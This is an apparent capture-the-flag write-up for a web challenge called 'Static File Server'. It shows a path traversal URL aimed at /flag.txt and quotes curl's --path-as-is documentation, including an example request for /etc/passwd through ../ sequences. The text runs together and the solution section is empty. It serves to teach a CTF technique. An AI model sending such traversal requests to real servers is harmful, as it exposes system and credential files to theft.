Static File Server
Description
Analysis
The real flag is at /flag.txthttp://web-static-file-server-9af22c2b5640.2023.ductf.dev/files/../../../../../../flag.txtURL: https://web-static-file-server-9af22c2b5640.2023.ductf.dev/flag.txt
Content: 404: Not Found--path-as-is
Tell curl to not handle sequences of /../ or /./ in the given URL path. Normally curl will squash or merge them according to standards but with this option set you tell it not to do that.
Providing --path-as-is multiple times has no extra effect. Disable it again with --no-path-as-is.
Example:
curl --path-as-is https://example.com/../../etc/passwdSolution
Last updated